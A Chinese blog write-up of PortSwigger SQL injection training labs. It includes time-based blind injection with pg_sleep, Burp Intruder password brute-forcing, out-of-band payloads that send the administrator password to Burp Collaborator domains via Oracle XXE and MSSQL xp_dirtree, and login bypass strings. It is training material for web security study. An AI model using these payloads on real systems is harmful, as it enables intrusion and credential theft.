PortSwigger之SQL注入实验室笔记(三)

简介: PortSwigger之SQL注入实验室笔记

11 具有时间延迟的盲 SQL 注入

描述

本实验包含一个SQL 盲注漏洞。应用程序使用跟踪 cookie 进行分析,并执行包含提交的 cookie 值的 SQL 查询。

SQL 查询的结果不会返回,并且应用程序不会根据查询是否返回任何行或导致错误而做出任何不同的响应。但是,由于查询是同步执行的,因此可以触发条件时间延迟来推断信息。

解决实验室,利用SQL注入漏洞造成10秒延迟。

解决方案

  1. 访问店铺首页,使用Burp Suite拦截修改包含TrackingIdcookie的请求。
  2. 修改TrackingIdcookie,将其更改为:TrackingId=x'||pg_sleep(10)--
  3. 提交请求并观察应用程序需要 10 秒的响应时间。

055843908dc98513d8e129fe76196ac5_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210827144143863

forward一下就OK了

12 具有时间延迟和信息检索的盲 SQL 注入

描述

本实验包含一个SQL 盲注漏洞。应用程序使用跟踪 cookie 进行分析,并执行包含提交的 cookie 值的 SQL 查询。

SQL 查询的结果不会返回,并且应用程序不会根据查询是否返回任何行或导致错误而做出任何不同的响应。但是,由于查询是同步执行的,因此可以触发条件时间延迟来推断信息。

数据库包含一个名为 的不同表users,其列名为username和password。您需要利用SQL盲注漏洞找出administrator用户的密码。

要解决实验室,请以administrator用户身份登录。

解决方案

访问店铺首页,使用Burp Suite拦截修改包含TrackingIdcookie的请求。

修改TrackingIdcookie,将其更改为:x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--。验证应用程序需要 10 秒的响应时间。

0a4915af76448068a2c42a8fd4c17e91_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210903160809574

现在将其更改为:TrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--。验证应用程序是否立即响应,没有时间延迟。这演示了如何测试单个布尔条件并推断结果。

1=1为真,延时10s

d30712c0cb872474e3390f919e05b37f_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210904003940886

1=2为假,不延时

01e164b5694456f9d2ad6d01ec1c3ade_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210904004023082

现在将其更改为:TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--。验证条件是否为真,确认存在名为 的用户administrator。

5be53aa1c8ad323a523506b38fcfac80_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210904004201164

下一步是确定administrator用户的密码中有多少个字符。为此,请将值更改为:TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--。此条件为真,说明密码长度大于 1 个字符。

bb2dfc12ea3ab4b1c45079d4a7b5cb99_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210904004634653

发送一系列后续值来测试不同的密码长度。发送:TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--。然后发送:TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>3)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--。等等。您可以使用Burp Repeater手动执行此操作,因为长度可能很短。当条件不再为真时(即应用程序立即响应而没有时间延迟),您就确定了密码的长度,实际上是 20 个字符长。

1ba47bfe88592684ff5b86eed61e3b26_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210904004832365

确定密码长度后,下一步是测试每个位置的字符以确定其值。这涉及大量请求,因此您需要使用Burp Intruder。使用上下文菜单将您正在处理的请求发送到 Burp Intruder。

在 Burp Intruder 的 Positions 选项卡中,通过单击“Clear”按钮清除默认的有效载荷位置。

在 Positions 选项卡中,将 cookie 的值更改为:TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(5)+ELSE+pg_sleep(0)+END+FROM+users--。这使用该SUBSTRING()函数从密码中提取单个字符,并针对特定值对其进行测试。我们的攻击将在每个位置和可能的值之间循环,依次测试每个位置。sleep时间修改为5s,10太久了,等不起

e9f19cf62d8c71ec8f6766422988a5d8_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210904010308843

第一个变量范围1-20

6be1f56fd37e911abd485aa5a9073ba6_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210904005811705

第二个变量范围0-9和a-z和A-Z

736369e2ac456bc7beb8f5be2e11d22d_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210904010005102

设置线程为1,大于1时,延时注入会出问题

6d67a07982ee37f5ec76b807c2ed6fc6_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210904010043122

开始攻击

勾选Columns的Response received,可以看到响应时间

492acc352efe219b8b88d4a19c703b56_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.pngimage-20210904010339493

944e878322e312c3dcabd036097f908f_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210904010444168

剩下的交给时间~一共要跑8分钟左右,等待吧

按响应时间排序,选中大于5秒的高亮

228cc3c2f10ed8324044c4983a026640_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210904014754024

仅显示高亮内容

8ac674deac23dffacf728cfc936f12c9_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.pngimage-20210904014820446

c9ff2fb4e4958168b47bf95e6c22c44f_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210904014436970

得到密码

klwpbqfvbp89fpro4mcm

在您的浏览器中,单击“我的帐户”以打开登录页面。使用密码作为administrator用户登录。

45598aa831d4091b15d88c255d62d735_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210904014621142

13 带外交互的 SQL 盲注入

描述

本实验包含一个SQL 盲注漏洞。应用程序使用cookie的TrackingId 进行分析,并执行包含提交的 cookie 值的 SQL 查询。

SQL 查询是异步执行的,对应用程序的响应没有影响。但是,您可以触发与外部域的带外交互。

为解决实验室问题,利用SQL 注入漏洞对 Burp Collaborator 进行 DNS 查找。

解决方案

TrackingId=glE0TyDtJb7YmBv1' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://oogz2awwfyduijad55begf63xu3kr9.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual--

域名使用bp获得

91d991a459c31375a29bea52bcb95bad_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210827163737683

点击copy获取url

18fb8ddc84730f9964e18a0eb8e96c19_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210827163756483

020cf8215l92d7bwhispy1nh288ywn.burpcollaborator.net

替换到payload

TrackingId=glE0TyDtJb7YmBv1' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://020cf8215l92d7bwhispy1nh288ywn.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual--

url编码后send

0849ac35d2f914732a7cc63b256c24dc_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210827163927811

点击poll now刷新信息

6aa16d119084e9dfd2a0eea91aa66e91_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.pngimage-20210827163953091

26ac2cab9244868773c5df61b2777bf9_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210827164015770


确认触发带外交互的方法后,您可以使用带外通道从易受攻击的应用程序中窃取数据。例如:

'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--

此输入读取Administrator用户的密码,附加唯一的 Collaborator 子域,并触发 DNS 查找。这将导致如下所示的 DNS 查找,允许您查看捕获的密码:

S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net

带外 (OAST) 技术是一种非常强大的检测和利用 SQL 盲注入的方法,因为成功的可能性很高,并且能够直接在带外通道内泄露数据。出于这个原因,即使在其他盲开发技术确实有效的情况下,OAST 技术通常也是可取的。

14 带外数据泄露的 SQL 盲注入

描述

本实验包含一个SQL 盲注漏洞。应用程序使用 cookie TrackingId进行分析,并执行包含提交的 cookie 值的 SQL 查询。

SQL 查询是异步执行的,对应用程序的响应没有影响。但是,您可以触发与外部域的带外交互。

数据库包含一个名为 的不同表users,其列名为username和password。您需要利用SQL盲注漏洞找出administrator用户的密码。

要解决实验室,请以administrator用户身份登录。

解决方案

带外数据泄露的 SQL 盲注入语句
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual
查询oracle版本payload
' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT version FROM v$instance)||'.mtjcevsoi237zk9akrffu9zuyl4bs0.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual--
查询密码的payload
' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.mtjcevsoi237zk9akrffu9zuyl4bs0.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual--

oracle版本

3bd79420e3f26684328923c4a374b1d1_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210827165654961

获取密码

9d7b340c62bea35239a091bd2659f2d7_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210827165329503

得到密码administrator/miasvdbzu5zx47y9rdnh

f4cb749c2aee6d5a67f1e47eef5a20ab_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210827165351856

登录

003b381e30673bb83e2604ec0a74974b_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210827165444744

15 WHERE 子句中的 SQL 注入漏洞允许检索隐藏数据

描述

该实验室在产品类别过滤器中包含一个SQL 注入漏洞。当用户选择一个类别时,应用程序会执行如下 SQL 查询:

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

为了解决实验室问题,执行 SQL 注入攻击,使应用程序显示任何类别中所有产品的详细信息,包括已发布的和未发布的。

解决方案

进入实验室

1.使用 Burp Suite 拦截和修改设置产品类别过滤器的请求。

2.修改category参数,赋予其值'+OR+1=1--或'+OR+'1'--

195df42d1d5d2f887ecde41e40c87efe_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210731161805914

3.提交请求,并验证响应现在包含其他项目。

53f2b7191c2beee357b3623c1624e8f6_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210731161818521

16 SQL注入漏洞允许登录绕过

描述

本实验包含登录功能中的SQL 注入漏洞。

为了解决实验,执行 SQL 注入攻击,以administrator用户身份登录到应用程序。

解决方案

  1. 使用 Burp Suite 拦截和修改登录请求。
  2. 修改username参数,赋予其值:administrator'--或administrator' OR 1=1--,注意,这里的空格不能由+代替

1aa3311942dd2843839b11465f934d56_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210731162549251

17 SQL备忘录xmind

这是我从sql备忘录中抄下来的xmind文档可用于查阅 链接:https://pan.baidu.com/s/1Y0wiiXVl75Q0-nDV2fT5QA 提取码:miss

相关文章
|
1天前
|
SQL 存储 Java
如何避免SQL注入?
【4月更文挑战第30天】如何避免SQL注入?
6 0
|
2天前
|
SQL 安全 PHP
【PHP 开发专栏】PHP 防止 SQL 注入的方
【4月更文挑战第30天】本文介绍了PHP防止SQL注入的策略,包括理解SQL注入的原理和危害,如数据泄露和系统控制。推荐使用参数化查询(如PDO扩展)、过滤和验证用户输入,以及选择安全的框架和库(如Laravel)。此外,强调了保持警惕、定期更新维护和开发人员安全培训的重要性,以确保应用安全。
|
2天前
|
SQL 存储 安全
|
2天前
|
SQL Oracle 关系型数据库
常见 SQL 注入绕过方法
常见 SQL 注入绕过方法
|
2天前
|
SQL Oracle 关系型数据库
利用 SQL 注入提取数据方法总结
利用 SQL 注入提取数据方法总结
|
2天前
|
SQL 关系型数据库 MySQL
利用 SQL 注入识别数据库方法总结
利用 SQL 注入识别数据库方法总结
|
2天前
|
SQL Oracle Java
SQL 注入神器:jSQL Injection 保姆级教程
SQL 注入神器:jSQL Injection 保姆级教程
|
20天前
|
SQL 人工智能 算法
【SQL server】玩转SQL server数据库:第二章 关系数据库
【SQL server】玩转SQL server数据库:第二章 关系数据库
61 10
|
1月前
|
SQL
启动mysq异常The server quit without updating PID file [FAILED]sql/data/***.pi根本解决方案
启动mysq异常The server quit without updating PID file [FAILED]sql/data/***.pi根本解决方案
30 0
|
28天前
|
SQL 关系型数据库 MySQL
SQL Error (2013): Lost connection to MySQL server at 'waiting for initial communication packet', sys...
SQL Error (2013): Lost connection to MySQL server at 'waiting for initial communication packet', sys...